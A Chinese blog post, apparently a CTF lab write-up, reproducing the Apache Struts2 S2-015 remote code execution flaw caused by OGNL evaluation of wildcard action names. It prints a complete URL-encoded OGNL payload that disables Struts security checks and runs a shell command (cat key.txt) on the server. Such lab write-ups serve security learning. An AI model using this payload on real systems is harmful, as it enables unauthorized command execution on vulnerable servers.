CTF-Apache Struts2远程代码执行漏洞(S2-015)复现

最新推荐文章于 2023-05-17 07:32:02 发布

Jimmy22

最新推荐文章于 2023-05-17 07:32:02 发布

阅读量799

点赞数

分类专栏：墨者学院

本文链接：https://blog.csdn.net/asd158923328/article/details/99935732

版权

墨者学院专栏收录该内容

100 篇文章 11 订阅

订阅专栏

根据题意
在这里插入图片描述
针对 Action 名称进行默认字符限制 [a-z][A-Z][0-9][.-_!/] 漏洞产生于配置了 Action 通配符 *，并将其作为动态值时，解析时会将其内容执行 OGNL 表达式，例如：/{1}.jsp
上述配置能让我们访问 name.action 时使用 name.jsp来渲染页面，但是在提取 name 并解析时，对其执行了 OGNL 表达式解析，所以导致命令执行。在实践复现的时候发现，由于 name值的位置比较特殊，一些特殊的字符如 / " 都无法使用（转义也不行），所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功
/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20key.txt%27%29.getInputStream%28%29%29%2C%23q%7D.action
访问 http://你的 IP 地址:端口号/Exp
在这里插入图片描述